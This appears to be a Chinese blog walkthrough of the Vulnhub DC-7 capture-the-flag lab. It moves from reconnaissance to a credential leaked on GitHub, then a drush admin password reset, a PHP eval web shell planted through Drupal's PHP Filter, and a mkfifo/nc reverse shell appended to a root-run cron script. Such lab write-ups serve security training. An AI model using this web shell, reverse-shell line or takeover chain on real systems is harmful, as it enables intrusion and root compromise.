当前位置: 首页 > news >正文

Vulnhub靶场DC-7练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
    • 1. 获取用户名/密码
    • 2. ssh连接目标主机
    • 3. drush命令修改Drupal密码
  • 0x03 漏洞查找与利用
    • 1. Drupal写入php木马
    • 2. 连接shell
    • 3. 反弹shell并提权
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-7.zip

介绍:

If you need to resort to brute forcing or dictionary attacks, you probably won’t succeed.

What you will need to do, is to think “outside” of the box.

Waaaaaay “outside” of the box. 😃

重要信息:

如果你需要求助于暴力破解或字典攻击,你可能不会成功。

你需要做的是“跳出框框”思考。

Waaaaaay “外面”的盒子。😃



0x01 主机信息收集


kali中执行命令:ifconfig

kali本机的ip:192.168.22.48

探测目标主机ip,执行命令:netdiscover - i eth0 192.168.22.0/24

目标主机的ip:192.168.22.6

在这里插入图片描述


探测目标主机的开放端口,执行命令:nmap -sS -sV -A -n 192.168.22.6

开放了22端口,80端口,并且使用的CMS为 Drupal8。

在这里插入图片描述


0x02 站点信息收集


1. 获取用户名/密码


浏览器访问:http://192.168.22.6/

页面上的提示语跟前面的介绍一样,用暴力破解或者字典攻击就不会成功,需要做的是跳出框框思考,跳出盒子。“盒子”可以想到白盒黑盒。跳出盒子也就是白盒。可以考虑找源代码了。

左下角有一个用户名,DC7USER。

在这里插入图片描述


Google一下这个用户名,可以发现一个github账户。主页发现一个staffdb项目,看到是php语言的,有个config.php的配置文件。

在这里插入图片描述


查看一下文件内容,有用户名和密码。还有数据库的名字。

$username = "dc7user";
$password = "MdR3xOgB7#dW";

在这里插入图片描述


考虑用这个用户名和密码登录。

扫描一下站点的目录结构,看有没有可以登录的点:dirsearch -u 192.168.22.6

在这里插入图片描述


访问:http://192.168.22.6/user/login.php

用上面获得的用户名和密码进行登录,失败。

在这里插入图片描述


2. ssh连接目标主机


之前扫描端口的时候还发现开房了22端口。考虑ssh链接。执行命令:ssh dc7user@192.168.22.6

登录成功。

在这里插入图片描述


看一下都有什么文件。一个backups目录和一个mbox文件。

backups目录下是两个gpg文件,gpg命令是用来加密文件的,并且加密后的文件都是乱码。

看一下mbox文件的内容:cat mbox

在这里插入图片描述


发现一个可执行脚本文件的路径:/opt/scripts/backups.sh

以及数据库数据的保存路径:/home/dc7user/backups/website.sql

查看一下这个脚本文件的内容,执行命令:cat /opt/scripts/backups.sh

在这里插入图片描述


3. drush命令修改Drupal密码


看起来是对数据相关的文件进行打包备份删除之类的操作。有个drush命令。

drush sql-dump的功能是数据库导入。

快速了解一下drush命令,发现这个命令可以用来更改Drupal的密码,相关命令是:drush user-password someuser --password="password"

需要注意,执行这个命令的时候,需要切换到Drupal的目录下。从上面的 backups.sh 这个文件的内容可以看出来,在执行drush命令之前先进入了 /var/www/html目录。

所以接下来先进入 /var/www/html目录,再执行命令:drush user-password admin --password="123456"

在这里插入图片描述


更改密码成功。

再访问:http://192.168.22.6/user/login ,用admin和123456尝试登录。登录成功。

在这里插入图片描述


0x03 漏洞查找与利用


1. Drupal写入php木马


接下来的思路就是找可以反弹shell的地方。

在 Content - Add Content - Basic page 下发现可以添加代码,但是只支持html,不支持php。

在这里插入图片描述


查询官方文档:https://www.drupal.org/project/php

Drupal8以后,php需要单独下载导入。

下载的地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

下载好以后,依次点击:Manage - Extend扩展 - Install new module启用新增模块,导入刚下载的php模块。

(也可以不下载,再倒入模块的时候直接输入上面的下载URL)

在这里插入图片描述


倒入成功后,点击Enable newly added modules。

在这里插入图片描述


在Manage - Extend模块下,选中 PHP Filter,点击Install。就启用成功了。

在这里插入图片描述



可以看到启用成功的提示。

在这里插入图片描述


在 Manage - Content 下的 welcome to dc-7 这个文件,应该是 http://192.168.22.6 这个页面的文件。

在这里插入图片描述


考虑编辑这个文件,把一句话木马写入这个文件。Edit这个文件,输入一句话木马,并且最后文件格式要保存成php。最后点击save按钮。

<?php
@eval($_POST[shell]);
?>

在这里插入图片描述


2. 连接shell


回到网站的首页就可以解析有恶意代码的文件。

用蚁剑连接一下,注意上下编码都选base64。

在这里插入图片描述


3. 反弹shell并提权


连接成功以后考虑提权。

执行命令:sudo -l,提示没有sudo权限。

想起来前面的/opt/scripts/backups.sh脚本文件,看一下这个文件的权限。

在这里插入图片描述


这个脚本文件的所属主是root,所属组是www-data,当前用户是www-data。

所以可以把提权的命令写入到这个脚本文件中,然后直接执行这个脚本文件。

先在kali中监听9876端口,执行命令:nc -lvvp 9876

在蚁剑中直接编辑/opt/scripts/backups.sh这个文件,在最后一行写入:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.22.48 9876 >/tmp/f

点击右上角的save。

在这里插入图片描述


在蚁剑中可以查看一下文件内容,确认写入成功:cat backups.sh

再执行这个脚本:./backups.sh

在这里插入图片描述


在kali中看到监听端口成功。

查看当前用户:id ,是root用户。

提权成功。

在这里插入图片描述


0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。

站点信息收集:

  1. 根据提示找到配置文件,获取用户名密码。
  2. ssh连接目标主机。
  3. drush修改Drupal密码。

漏洞利用:

  1. Drupal写入php木马。
  2. 蚁剑连接shell。
  3. 反弹shell。
  4. 提权。



相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 恶补,先验分布,后验分布 ,似然估计
  • 【ELK】简述
  • 【深度学习入门篇 ⑩】Seq2Seq模型:语言翻译
  • 【一次记一句:SQL】从 information_schema.TABLES中查询数据库表中记录数据量
  • win安装mysql
  • windows中使用Jenkins打包,部署vue项目完整操作流程
  • Linux驱动开发-06蜂鸣器和多组GPIO控制
  • pyqt/pyside QTableWidget失去焦点后,选中的行仍高亮的显示
  • uniapp小程序项目解决键盘问题
  • 无人机的发展前景大吗?
  • 23种设计模式之命令模式
  • Python(re模块的具体使用)
  • QT通用配置文件库(QPreferences)
  • 【云原生】Prometheus整合Alertmanager告警规则使用详解
  • [集成学习]基于python的Stacking分类模型的客户购买意愿分类预测
  • C++11: atomic 头文件
  • canvas实际项目操作,包含:线条,圆形,扇形,图片绘制,图片圆角遮罩,矩形,弧形文字...
  • Django 博客开发教程 8 - 博客文章详情页
  • Docker入门(二) - Dockerfile
  • ES6 ...操作符
  • golang中接口赋值与方法集
  • Java的Interrupt与线程中断
  • JSONP原理
  • JS创建对象模式及其对象原型链探究(一):Object模式
  • PAT A1050
  • PHP的Ev教程三(Periodic watcher)
  • 猴子数据域名防封接口降低小说被封的风险
  • 基于 Ueditor 的现代化编辑器 Neditor 1.5.4 发布
  • 如何邀请好友注册您的网站(模拟百度网盘)
  • 思维导图—你不知道的JavaScript中卷
  • 学习ES6 变量的解构赋值
  • 用quicker-worker.js轻松跑一个大数据遍历
  • - 语言经验 - 《c++的高性能内存管理库tcmalloc和jemalloc》
  • 源码之下无秘密 ── 做最好的 Netty 源码分析教程
  • ## 基础知识
  • #我与虚拟机的故事#连载20:周志明虚拟机第 3 版:到底值不值得买?
  • $分析了六十多年间100万字的政府工作报告,我看到了这样的变迁
  • %@ page import=%的用法
  • (Oracle)SQL优化基础(三):看懂执行计划顺序
  • (二)pulsar安装在独立的docker中,python测试
  • (附源码)基于ssm的模具配件账单管理系统 毕业设计 081848
  • (剑指Offer)面试题41:和为s的连续正数序列
  • (十六)串口UART
  • (算法)硬币问题
  • (转) SpringBoot:使用spring-boot-devtools进行热部署以及不生效的问题解决
  • (转)eclipse内存溢出设置 -Xms212m -Xmx804m -XX:PermSize=250M -XX:MaxPermSize=356m
  • (转)重识new
  • (自用)learnOpenGL学习总结-高级OpenGL-抗锯齿
  • .net 4.0发布后不能正常显示图片问题
  • .Net Core 微服务之Consul(三)-KV存储分布式锁
  • .NET/C# 在代码中测量代码执行耗时的建议(比较系统性能计数器和系统时间)...
  • .NET高级面试指南专题十一【 设计模式介绍,为什么要用设计模式】
  • .NET业务框架的构建
  • ??myeclipse+tomcat
  • @Autowired 和 @Resource 区别的补充说明与示例